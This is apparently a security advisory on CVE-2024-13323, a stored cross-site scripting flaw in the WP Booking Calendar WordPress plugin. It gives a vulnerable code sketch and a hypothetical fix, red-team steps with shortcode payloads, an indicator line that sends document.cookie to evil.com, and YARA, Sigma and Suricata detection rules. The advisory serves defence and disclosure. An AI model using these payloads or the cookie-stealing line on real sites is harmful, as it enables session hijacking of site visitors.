CVE-2024-13323

Executive Summary

CVE-2024-13323 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Booking Calendar plugin for WordPress, affecting all versions up to and including 10.9.2. The flaw resides in the plugin's booking shortcode, where user-supplied attributes are insufficiently sanitized and output-escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%). No public exploit code or Nuclei template is available, but the attack vector is straightforward for authenticated users. The patch status is unknown, meaning no official fix has been released.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (WP Booking Calendar) and consider removing the plugin if no patch is forthcoming. The lack of OSV or GitHub advisory data increases supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the injected script can affect other components
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication but allows persistent script injection, which can lead to session hijacking, defacement, or phishing attacks against site visitors.

Deep Dive & Mechanics

The WP Booking Calendar plugin provides a booking shortcode that allows users to embed booking forms and calendars. The shortcode accepts attributes (e.g., calendar, type, category) that are processed and rendered on the page. Due to insufficient input sanitization and output escaping, an attacker with contributor-level access can craft a malicious shortcode like:

[booking calendar="<script>alert('XSS')</script>"]

When the page is rendered, the injected script executes in the context of the victim's browser. The vulnerability is stored because the malicious shortcode is saved in the WordPress database (e.g., in post content) and executed every time the page is loaded.

The root cause is the lack of proper escaping functions (e.g., esc_attr(), esc_html()) on user-supplied shortcode attributes before output.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 10.9.2):

// In shortcode handler
function booking_shortcode($atts) {
    $calendar = $atts['calendar'];
    // Direct output without escaping
    echo "<div class='booking-calendar' data-calendar='$calendar'>";
}

Patched Code (hypothetical):

function booking_shortcode($atts) {
    $calendar = esc_attr($atts['calendar']); // Escape attribute
    echo "<div class='booking-calendar' data-calendar='$calendar'>";
}

The patched version uses esc_attr() to sanitize the attribute, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Authenticated WordPress account with contributor-level or higher privileges.
2. Steps:
   • Create or edit a post/page.
   • Insert the vulnerable shortcode with a malicious attribute:

     [booking calendar="<script>alert(document.cookie)</script>"]
     

   • Publish the post.
   • When any user (including admins) visits the page, the script executes.

Example Payload:

[booking calendar="<img src=x onerror=alert('XSS')>"]

Blue Team (Detection & Hardening)

1. Prevention:

   • Disable the plugin until a patch is available.
   • Use a Web Application Firewall (WAF) to block malicious shortcode attributes.
   • Restrict contributor-level access to trusted users only.

2. Detection:

   • Monitor for posts containing the [booking shortcode with suspicious attributes.
   • Scan database for stored XSS patterns.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified WordPress posts/pages containing the [booking shortcode with script tags or event handlers.
• Network Indicators:
  • Outbound requests to attacker-controlled domains from injected scripts.
• Log Indicators:
  • WordPress audit logs showing creation/editing of posts by contributors with unusual shortcode attributes.

Example IOC (Post Content):

[booking calendar="<script>new Image().src='http://evil.com/steal?c='+document.cookie</script>"]

Detection Engineering

YARA Rule

rule wp_booking_calendar_xss {
    meta:
        description = "Detects stored XSS payloads in WP Booking Calendar shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13323"
    strings:
        $shortcode = /\[booking\s+[^\]]*calendar\s*=\s*["'][^"']*<script[^>]*>/
        $event_handler = /\[booking\s+[^\]]*calendar\s*=\s*["'][^"']*on\w+\s*=\s*["']/
    condition:
        any of them
}

Sigma Rule

title: WP Booking Calendar Stored XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS via WP Booking Calendar shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wp-json/wp/v2/posts'
        http.body|contains: '[booking'
        http.body|contains|all:
            - 'calendar='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of calendar shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"WP Booking Calendar Stored XSS Attempt"; flow:to_server; content:"[booking"; http_client_body; content:"calendar="; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the WP Booking Calendar plugin if not critical.
   • Restrict contributor-level accounts to trusted users only.
   • Implement a WAF rule to block shortcode attributes containing <script or event handlers.

2. Long-term Fix:

   • Apply the official patch when released by the vendor.
   • If no patch is forthcoming, consider replacing the plugin with an alternative.

3. Monitoring:

   • Regularly scan WordPress posts for malicious shortcodes.
   • Review user roles and permissions.

Valters IT
Securing digital ecosystems through advanced threat intelligence.